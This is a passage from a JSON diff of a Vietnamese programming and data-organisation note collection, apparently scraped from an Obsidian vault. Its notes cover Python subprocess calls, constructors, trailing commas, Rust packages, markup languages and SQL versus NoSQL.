"Tiêu đề": "Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[5]\r\n```\r\n![Transforming Code into Beautiful, Idiomatic Python - YouTube](https://youtu.be/OSGv2VnC0go?si=rFkJawTXPhVZdgXG)", + "Toàn bộ nội dung": "[[Fibery]]\n[[Đảo thông tin khiến cho những thao tác tự động hoá đơn giản không thể làm được]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-12-19T15:34:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xj" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-01T09:27:00.000Z", + "id": "bS" }, { - "Tiêu đề": "shell=True cần cho", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/shell=True cần cho", + "Tiêu đề": "Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Bán cấu trúc/Ngôn ngữ đánh dấu/Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "I want to call a another script from a Python script, and the shell running it is either PowerShell on Windows, or Bash on Ubuntu. How should I construct such a code?\r\n\r\n# Attempt 1: Using a simple `ls` command\r\n\r\nThe code running for Bash is:\r\n```python\r\ncommand = 'ls'\r\nsubprocess.Popen(command).wait() \r\n```\r\nAnd the code running for PowerShell is:\r\n```python \r\ncommand = 'pwsh -c ls'\r\nsubprocess.Popen(command).wait() \r\n```\r\n\r\nTherefore I come up with this script that runs successfully in both shells:\r\n```python\r\npproc_name = psutil.Process(os.getppid()).name()\r\nis_power_shell = bool(re.fullmatch('pwsh|pwsh.exe|powershell.exe', pproc_name))\r\n\r\nif is_power_shell:\r\n env = 'pwsh -c '\r\nelse:\r\n env = ''\r\n\r\ncommand = env + 'ls'\r\nsubprocess.Popen(command).wait() \r\n```\r\n<sub>Code from https://stackoverflow.com/a/55598796/3416774</sub>\r\n\r\n# Attempt 2: Using my real case command\r\nThis works on PowerShell:\r\n```python\r\nimport os, psutil, subprocess, re\r\n\r\npproc_name = psutil.Process(os.getppid()).name()\r\nis_power_shell = bool(re.fullmatch('pwsh|pwsh.exe|powershell.exe', pproc_name))\r\n\r\nif is_power_shell:\r\n env = 'pwsh -c '\r\nelse:\r\n env = ''\r\n\r\ncommand = env + 'deno run --allow-all main.ts'\r\nsubprocess.Popen(command).wait()\r\n```\r\n\r\nHowever it gives this error on Bash:\r\n```python\r\nTraceback (most recent call last):\r\n File \"/home/test.py\", line 12, in <module>\r\n subprocess.Popen(command).wait() \r\n File \"/usr/lib/python3.10/subprocess.py\", line 969, in __init__\r\n self._execute_child(args, executable, preexec_fn, close_fds,\r\n File \"/usr/lib/python3.10/subprocess.py\", line 1845, in _execute_child\r\n raise child_exception_type(errno_num, err_msg, err_filename)\r\nFileNotFoundError: [Errno 2] No such file or directory: 'deno run --allow-all main.ts'\r\n```\r\n\r\nTo fix this I have to add `shell=True` to the subprocess function.\r\n", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xk" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T14:02:00.000Z", + "id": "bT" }, { - "Tiêu đề": "Tuple là mảng nhưng không thay đổi được số lượng phần tử", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Tuple là mảng nhưng không thay đổi được số lượng phần tử", + "Tiêu đề": "Ngôn ngữ đánh dấu mạnh có thể sử dụng cho dữ liệu có cấu trúc vì spec của nó có nói rõ dữ liệu nên được lưu thế nào", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Bán cấu trúc/Ngôn ngữ đánh dấu/Ngôn ngữ đánh dấu mạnh có thể sử dụng cho dữ liệu có cấu trúc vì spec của nó có nói rõ dữ liệu nên được lưu thế nào", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tiện cho trình bày dữ liệu dạng csv, nhưng nếu dùng dạng vật thể được thì vẫn tốt hơn\r\nNguồn:: ", + "Toàn bộ nội dung": "[List of types of XML schemas - Wikipedia](https://en.wikipedia.org/wiki/List_of_types_of_XML_schemas)\n[List of XML markup languages - Wikipedia](https://en.wikipedia.org/wiki/List_of_XML_markup_languages#H)\n\n- Heavyweight markup languages like xml/xhtml/html/groff/tex/mdx can be used for structured data because they have specs that specify how to store data. This is a consequence of the authors intending to use them for data at the first place\n- Lightweight markup languages like markdown shouldn't be used for structured data because they don't have a spec specifying how to store data. This is the consequence of the authors not intending to use them for data at the first place\n- If I want to use markdown for data I just need to write a parser/processor. Having a spec is good, but not necessary. This is what dataview does\n- If I want to have intellisense features on my editor (syntax-based autocomplete, type guarding, refactoring, etc.), I need to write my own LSP via a plugin. Again having a spec is good, but not necessary\n- If I have a spec, I have a flavor", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xl" + "Ngày cập nhật": "2024-09-10T06:06:00.000Z", + "id": "bU" }, { - "Tiêu đề": "__init__() chỉ tạo giá trị cho lớp. __new__() mới thực sự là hàm tạo", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/__init__() chỉ tạo giá trị cho lớp. __new__() mới thực sự là hàm tạo", + "Tiêu đề": "Ngôn ngữ đánh dấu", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Bán cấu trúc/Ngôn ngữ đánh dấu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hãy xem lại hàm `__init__()` mà chúng ta đã xây dựng trong ví dụ đầu tiên:\r\n\r\n```python\r\ndef __init__(self, \r\n title: str,\r\n authors: str = '',\r\n publisher: str = '',\r\n year: int = 2020,\r\n edition: int = 1):\r\n \"\"\"Hàm tạo của class\"\"\"\r\n self.title = title\r\n self.authors = authors\r\n self.publisher = publisher\r\n self.year = year\r\n self.edition = edition\r\n self.__private = True\r\n Book.count += 1\r\n```\r\n`__init__()` là một hàm đặc biệt trong Python: hàm tạo (constructor).\r\n\r\nVề mặt hình thức `__init__()` hoàn toàn tương tự như một lệnh khai báo [hàm trong Python](https://tuhocict.com/function-ham-trong-python/). Hàm `__init__()` ở trên nhận các tham số title, authors, publisher, year và edition. Chúng ta cũng sử dụng kỹ thuật chỉ báo kiểu (type hint) và cung cấp giá trị mặc định cho các tham số.\r\n\r\nConstructor trong Python bắt buộc phải có tên là `__init__` và phải có ít nhất một tham số, thường đặt tên là `self`. Nếu có nhiều tham số, `self` bắt buộc phải là tham số đầu tiên.\r\n\r\nTên gọi tham số `self` được đặt theo quy ước của Python chứ không bắt buộc. Bạn có thể đặt bất kỳ tên gọi nào khác. Những bạn có xuất phải điểm là C++ hay C# thường có xu hướng đặt là this.\r\n\r\n\r\n> [!NOTE]- Constructor và Initializer\r\n> Nói một cách chính xác, `__init__()` không phải là constructor theo nghĩa đen của khái niệm này trong lập trình hướng đối tượng. Hàm `__init__()` là một initializer – hàm chịu trách nhiệm khởi tạo các giá trị cho object. Initializer không chịu trách nhiệm khởi tạo object.\r\n> \r\n> Trong Python, hàm `__init__()` không chịu trách nhiệm tạo ra object của class. Python sử dụng một ‘magic method’ có tên gọi là `__new__()` để tạo object của mỗi class.\r\n> \r\n> Magic method là một số phương thức được Python tự động tạo cùng với class và được Python gọi tự động nhằm thực hiện những công việc đặc biệt.\r\n> \r\n> `__new__()` mới thực sự là constructor của Python class.\r\n> \r\n> Ví dụ, khi gặp lệnh tạo object `b = book()` thì Python sẽ tự động chạy hàm `__new__()` đầu tiên. Kết quả của hàm `__new__()` là object của class book. Sau đó Python tiếp tục tự động chạy `__init__()`. Object do `__new__()` tạo ra được truyền sang cho `__init__()` thông qua tham số đầu tiên (self) trong danh sách.\r\n> \r\n> Vì lý do này, bạn có thể đặt bất kỳ tên gì cho self cũng được nhưng phải để nó ở đầu danh sách tham số.\r\n> \r\nVai trò quan trọng hàng đầu của hàm tạo trong Python là tạo và gán giá trị cho instance attribute. Tất cả các tham số còn lại trong danh sách tham số của `__init__()` cung cấp giá trị để tạo ra instance attribute cho object.\r\n\r\nVới hàm tạo như trên, bạn có thể tạo object của class Book bằng những cách sau:\r\n\r\n```python\r\nb1 = Book('Lập trình hướng đối tượng với Python', 'Nhật Linh', 'Tự học ICT', 2022, 2)\r\nb2 = Book(title = 'Nhập môn lập trình Python', authors= 'Nhật linh', publisher= 'Tự học ICT')\r\nb3 = Book('A new book')\r\n```\r\n\r\nDễ thấy rằng, lệnh tạo object bằng hàm tạo không khác biệt gì so với lời gọi hàm thông thường.\r\n\r\nNguồn:: [[tuhocict]], [Giới thiệu chung về class trong Python, constructor | Tự học ICT](https://tuhocict.com/class-trong-python-khai-niem-khai-bao/)\r\n", + "Toàn bộ nội dung": "| Tối ưu cho... →<br>Ngôn ngữ đánh dấu ↓ | ...cho con người đọc và viết | ...cho việc khai báo metadata | ...cho việc viết tập tin cấu hình | ...cho việc truyền dữ liệu |\n| -------------------------------------- | ---------------------------- | ----------------------------- | --------------------------------- | -------------------------- |\n| YAML | ✔ | ✔ | ❌ | ❌ |\n| XML | ❌ | ✔ | ❌ | ✔ |\n| TOML | ✔ | ❌ | ✔ | ❌ |\n| JSON | ❌ | ❌ | ❌ | ✔ |\n| JSONC/JWCC | ❌ | ❌ | ✔ | ✔ |\n\nNhững thứ mà không tối ưu cho con người đọc và viết thì nên để máy tự in ra. Chỉnh sửa trực tiếp dễ gây lỗi. Hoặc ít nhất là nên viết trong parser/validator để nó báo lỗi ngay cho mình.\n\n[[Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language]]\n[The yaml document from hell](https://ruudvanasseldonk.com/2023/01/11/the-yaml-document-from-hell)\n\n```dataview\nLIST\nFROM \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ đánh dấu\" \nWHERE file.name!=this.file.name\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-26T14:52:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xm" + "Ngày tạo": "2024-01-14T08:32:00.000Z", + "Ngày cập nhật": "2024-08-25T14:02:00.000Z", + "id": "bV" }, { - "Tiêu đề": "__init__.py nói cho Python biết folder chứa nó là một package", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/__init__.py nói cho Python biết folder chứa nó là một package", + "Tiêu đề": "RDF có thể được biểu diễn bằng JSON-LD", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Bán cấu trúc/Ngôn ngữ đánh dấu/RDF có thể được biểu diễn bằng JSON-LD", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Package và library là những cái tên khác nhau cho cùng một thứ]]\r\n", + "Toàn bộ nội dung": "key-value. Triple store là key-predicate-value\nIt's more conducive to real work to convert triples like:\n```\nAnakin (this is an ID that I've elected to make quite readable, not an arbitrary stril)\n hasMentor\n Palpatine\n\nAnakin\n AKA\n Darth Vader\n\nAnakin\n hasName\n Anakin Skywalker\n```\nto something structured like\n```js\n{\n @id: \"Anakin\",\n name: [\n \"Anakin Skywalker\",\n \"Darth Vader\"\n ],\n hasMentor: {\n \"@id\": \"Palpatine\"\n },\n}\n```\nMy `AKA` and `hasName` thing is real weird but then again actual data often does have strange choices like that so just take it as realism\n\nNguồn:: \n[[Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xn" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-06T15:54:00.000Z", + "id": "bW" }, { - "Tiêu đề": "Map, dictionary, associative array, hash, hash table là những cái tên cho cùng một thứ", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Map, dictionary, associative array, hash, hash table là những cái tên cho cùng một thứ", + "Tiêu đề": "XML là dạng dữ liệu bán cấu trúc", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Bán cấu trúc/Ngôn ngữ đánh dấu/XML là dạng dữ liệu bán cấu trúc", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "JS map or object, Python dictionary, PHP associative array, Perl hash, Common Lisp hash table\r\n\r\nProgramming languages intended for mathematicians should use the jargon of mathematics; we'd expect \"map\" in the sense of \"function\" to be in their vocabulary. A line-of-business programmer, particularly one who came to programming through business rather than academia, is more likely to think of a map as being a plot of terrain used for navigation, so a line-of-business language ought to use a less jargon-laden term such as \"lookup\" or \"dictionary\".\r\n\r\n\"Dictionary\" might be _too_ specific though; we think of dictionaries as being functions from words to definitions, or more generally text to text, but dictionaries are often generalized key-value stores. \"Keyed store\" though seems to again be jargony. Design is the art of finding good compromises between many design goals. It takes judgment, and opinions will differ from designer to designer.\r\nNguồn:: [What is the difference between JS's map and Python's dictionary?](https://langdev.stackexchange.com/q/3562/223)\r\n[[Map trong JS tương đương với dictionary trong Python]]", + "Toàn bộ nội dung": "Nguồn:: [Semi-structured data - Wikipedia](https://en.wikipedia.org/wiki/Semi-structured_data)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xo" + "Ngày cập nhật": "2024-09-10T08:45:00.000Z", + "id": "bX" }, { - "Tiêu đề": "Nên để dư một dấu phẩy ở phần tử cuối cùng khi tạo vật thể hoặc mảng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Nên để dư một dấu phẩy ở phần tử cuối cùng khi tạo vật thể hoặc mảng", + "Tiêu đề": "Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Block/Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Trailing comma là gì? Tại sao nó từng là lỗi trong JavaScript?\r\n\r\nTrailing comma (dấu phẩy đuôi, dấu phẩy cuối) là việc để dư **một dấu phẩy** sau phần tử cuối cùng ở cuối một danh sách (có thể là phần tử trong Array literal, property trong Object literal, tham số của hàm…). Ví dụ:\r\n\r\n```\r\n// trailing comma trong Array literal\r\nvar categories = ['men', 'women', 'accessories']\r\n// trailing comma trong Object literal\r\nvar person = {\r\n name: 'Harry Potter',\r\n gender: 'male',\r\n house: 'Gryffindor',\r\n}\r\n// trailing comma trong tham số của hàm (và trong lời gọi hàm)\r\nfunction compare(param1, param2) {\r\n /* ... */\r\n}\r\n```\r\n\r\nNhư bạn thấy, dấu phẩy vốn để ngăn cách **giữa** các phần tử trong một danh sách, và dấu phẩy cuối là dư thừa về mặt cú pháp. Để dễ hình dung hơn, ví dụ mảng ở trên nếu viết trên cùng một dòng sẽ là `var categories = ['men', 'women', 'accessories',]`. Trong thực tế, với các trình duyệt cũ chỉ hỗ trợ [ECMAScript 3](https://int3ractive.com/2019/01/nhung-dieu-can-biet-ve-ecmascript.html) trở về trước (IE8), trailing comma sẽ gây ra lỗi cú pháp lúc chạy.\r\n\r\n![](https://res.cloudinary.com/duqeezi8j/image/upload/f_auto/v1557078885/trailing-comma-ie8-error_ulcpmq.jpg) _Trailing comma gây ra lỗi cú pháp lúc chạy trên IE8. Hình screenshot lấy từ [StackOverflow](https://stackoverflow.com/questions/17490014/website-causes-script-error-in-ie8)._\r\n\r\nTuy nhiên, kể từ ECMAScript 5, trailing comma được chấp nhận cho danh sách phần tử Array và Object property. Việc lấy số phần tử (`array.length`) vẫn đúng với Array có trailing comma.\r\n\r\n## Tại sao trailing comma trở thành best practice?\r\n\r\n### 1. Phần tử khi thêm vào cuối sẽ luôn đồng nhất và tách bạch\r\n\r\nKhi không dùng trailing comma, việc thêm phần tử vào cuối danh sách sẽ gây ảnh hưởng đến phần tử kế cuối vừa được thêm dấu phẩy và commit log của bạn sẽ như thế này:\r\n\r\n```\r\n var categories = [\r\n 'men',\r\n 'women',\r\n```\r\n\r\n```\r\n 'accessories'\r\n```\r\n\r\n```\r\n 'accessories',\r\n```\r\n\r\n```\r\n 'children'\r\n ];\r\n```\r\n\r\nKhi có trailing comma, commit log của bạn sẽ chỉ hiển thị phần thay đổi:\r\n\r\n```\r\n var categories = [\r\n 'men',\r\n 'women',\r\n 'accessories',\r\n```\r\n\r\n```\r\n 'children',\r\n ];\r\n```\r\n\r\n### 2. Dễ dàng sắp xếp lại thứ tự và cập nhật danh sách\r\n\r\nVì tất cả các phần tử đều kết thúc bằng dấu phẩy, sắp xếp lại thứ tự phần tử bất kỳ đơn giản và dễ dàng:\r\n\r\n![Sắp xếp lại phần tử trong mảng](https://res.cloudinary.com/duqeezi8j/image/upload/v1557079010/trailing-comma-reorder_gloufm.gif) _Sắp xếp lại phần tử trong mảng_\r\n\r\n### 3. Giảm số dòng conflict khi merge với version control\r\n\r\n![Conflict code hiển thị khi không dùng và có dùng trailing comma](https://res.cloudinary.com/duqeezi8j/image/upload/f_auto/v1557079047/trailing-comma-conflict_fwvzyk.jpg) _Conflict code hiển thị khi không dùng (trên) và có dùng (dưới) trailing comma_\r\n\r\nTrong ví dụ không dùng trailing comma, mặc dù phần tử `female` đều thêm cùng một dấu phẩy, Git vẫn không tự động merge dòng này và vẫn báo conflict cùng với dòng thay đổi tiếp theo. Việc theo dõi những dòng conflict vô nghĩa này sẽ gây khó khăn cho người merge và rất dễ gây ra sai sót bị mất code sau khi resolve.\r\n\r\nNgoài ra, khi số dòng thay đổi ít đi thì khả năng conflict code sẽ giảm và khả năng code tự merge sẽ cao hơn.\r\n\r\nNguồn:: [Tại sao lại để dư một dấu phẩy? - Ehkoo](https://ehkoo.com/bai-viet/why-trailing-comma-javascript)\r\n\r\n[[JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép]]", + "Toàn bộ nội dung": "Tuy nhiên, [[Khó có thể copy dữ liệu dạng block giữa các app khác nhau]]\r\nNguồn:: [[Maggie Appleton]], [https://maggieappleton.com/block-data](https://maggieappleton.com/block-data \"https://maggieappleton.com/block-data\")\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xp" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bY" }, { - "Tiêu đề": "Runtime là lúc chạy, runtime environment là môi trường thực thi. Nhưng nhiều lúc môi trường thực thi được gọi tắt là runtime", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Runtime là lúc chạy, runtime environment là môi trường thực thi. Nhưng nhiều lúc môi trường thực thi được gọi tắt là runtime", + "Tiêu đề": "Khó có thể copy dữ liệu dạng block giữa các app khác nhau", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Block/Khó có thể copy dữ liệu dạng block giữa các app khác nhau", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ]]\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "Nguồn:: [[Maggie Appleton]], [https://maggieappleton.com/block-data](https://maggieappleton.com/block-data \"https://maggieappleton.com/block-data\")\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-24T05:34:00.000Z", - "id": "Xq" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bZ" }, { - "Tiêu đề": "cargo giống npm hay pip", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/cargo giống npm hay pip", + "Tiêu đề": "Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[npm là chương trình quản lý package cho Node.js]]\r\n[[pip là chương trình quản lý package của Python]]\r\n[[Crate là file, package là tập hợp nhiều crate]] \r\nNguồn:: [1 tháng học Rust - Packages, Crates và Modules](https://2coffee.dev/bai-viet/mot-thang-hoc-rust-packages-crates-va-modules)", + "Toàn bộ nội dung": "`=[[Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú]].a`\r\n- Thống nhất giữa các người dùng dễ dàng\r\n- Đảm bảo các bên tham gia nhập dữ liệu cùng một format\r\n- Số biến có hạn, nhưng nhất quán\r\n\r\nCâu hỏi:: Làm kỹ vấn đề onboard là được?, Dùng template là được?\r\n[[Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng]]\r\n\r\n[[Dữ liệu dưới dạng văn bản là dạng dữ liệu phi cấu trúc]]\r\nKhai báo biến trong một file thì sẽ bị phân mảnh. Khai báo trong bảng thì là khai báo trước dữ liệu sau\r\n\r\nThêm trường mới dễ dàng\r\nTạo biến trên csdl trước rồi mới add vào sau\r\n\r\n\r\nQuản lý insight thì không tốt lmaws\r\n\r\nNếu insight tiến hoá thì \r\n\r\nOdoo thiên về xử lý nghiệp vụ \r\n\r\n\r\nMuốn lưu cái gì thì phải đi khai báo. Cái gì cũng khai báo thì \r\n\r\nKhi thấy cần dữ liệu gì thì mới đi track. Người có kinh nghiệm sẽ biết những dữ liệu gì cần tráck theo từng pha\r\n\r\n\r\nQuản lý csdl thì phải phân loại. CR7 mà unique. \r\n\r\nNếu tư duy từ template thì nên đi từ tư duy database, ko nên đi theo kiểu text\r\n\r\nPhần mềm không giúp cho việc quản lý công việc chi tiết\r\n\r\nInput → store → bisiness process → view output \r\n\r\nCần dùng gr\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xr" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "ba" }, { - "Tiêu đề": "Crate là file, package là tập hợp nhiều crate", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/Crate là file, package là tập hợp nhiều crate", + "Tiêu đề": "Mở rộng quy mô bằng việc nâng cấp RAM, CPU dễ hơn với SQL. Mở rộng quy mô bằng việc chạy cùng lúc nhiều máy dễ hơn với NoSQL", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Mở rộng quy mô bằng việc nâng cấp RAM, CPU dễ hơn với SQL. Mở rộng quy mô bằng việc chạy cùng lúc nhiều máy dễ hơn với NoSQL", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Một _package_ là một hoặc nhiều crates cung cấp một loạt các chức năng. Một package chứa một file _Cargo.toml_ mô tả cách build các crate của package đó.\r\n\r\nMột _crate_ có thể là một binary crate hoặc một library crate. _Binary crates_ là các chương trình bạn có thể biên dịch và thực thi để chạy, chẳng hạn như một command-line program hoặc một server. Chúng ta cần có một function được gọi là `main`, function này xác định điều gì xảy ra khi chạy thực thi. Tất cả các crates được tạo ra thường là binary crates.\r\n\r\n_Library crates_ không có `main` function, và chúng không được biên dịch để thực thi. Chúng định nghĩa các chức năng dự định để chia sẻ với nhiều projects. Ví dụ, crate `rand` chúng tôi sử dụng trong [Chapter 2](https://www.rustvn.com/vi-VN/rust-book-vn/ch02-00-guessing-game-tutorial.html#generating-a-random-number) cung cấp chức năng tạo các số ngẫu nhiên.\r\nNguồn:: [Packages và Crates - Ngôn ngữ lập trình Rust](https://www.rustvn.com/vi-VN/rust-book-vn/ch07-01-packages-and-crates.html)", + "Toàn bộ nội dung": "Giả sử ta cần nâng một cái tủ nặng. Nâng cấp RAM, CPU giống như phát triển cơ bắp cho bản thân để tự mình vác được nó. Chạy cùng lúc nhiều máy giống như có thêm nhiều người cùng vác nó.\r\n\r\nNguồn:: ![SQL vs NoSQL | What's the Difference? - YouTube](https://youtu.be/Pf-9pjJK1e0?si=a8naSctrRZdJEMFW)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xs" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bb" }, { - "Tiêu đề": "Mỗi lần refactor là một cực hình", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/Mỗi lần refactor là một cực hình", + "Tiêu đề": "Việc phân loại SQL và NoSQL giống như việc phân loại người dị tính hợp giới và người không dị tính hợp giới, hoặc phân loại người Kinh và người không Kinh", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Việc phân loại SQL và NoSQL giống như việc phân loại người dị tính hợp giới và người không dị tính hợp giới, hoặc phân loại người Kinh và người không Kinh", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Rust’s rich type system is a blessing and a curse. Thinking in Rust types is a dream. Managing Rust’s types can be a nightmare. Your data and function signatures can have generic types, generic lifetimes, and trait constraints. Those constraints can have their own generic types and lifetimes. [Sometimes, you’ll have more type constraints than actual code](https://github.com/rxRust/rxRust/blob/master/src/observable.rs#L1134-L1142).\r\n\r\n![](https://miro.medium.com/v2/resize:fit:700/1*Thd-kY7yqSu0qqDq0baV2g.png)\r\n\r\nConstraints that outweigh logic\r\n\r\nYou also need to define all your generics on [every impl](https://github.com/bytecodealliance/wasmtime/blob/038ddfeb6699591b5d82546c9b2d5076097bc9ce/cranelift/entity/src/iter.rs#L29-L58). It’s tedious when writing it the first time. When refactoring though, it can turn a minor change into a cascading mess.\r\n\r\n![](https://miro.medium.com/v2/resize:fit:652/1*5yX-BV9ZAoFZ-cSHOCLojg.png)\r\n\r\nSimple generic IDs are duplicated over and over again.\r\n\r\nIt’s hard to make rapid progress when you need to tweak 14 different definitions before you can take a single step forward.\r\n\r\n_Edit to address external comments: The problem isn’t the expressibility, the problem is no language or tooling solution to reduce the duplication. There are frequent reasons to have the same constraints or refer to the same generic lists, but there’s no way to alias or otherwise refer to a central definition. I’m not sure there should be, but it doesn’t change the burden of duplication._\r\n\r\nNguồn:: [Was Rust Worth It?. From JavaScript to Rust, three years… | by Jarrod Overson | Medium](https://jsoverson.medium.com/was-rust-worth-it-f43d171fb1b3)\r\n\r\n[[Rust phù hợp khi code đã ổn định rồi]]", + "Toàn bộ nội dung": "Các loại cơ sở dữ liệu đều là để đạt được mục đích nào đó. Các mục đích này tương đương với 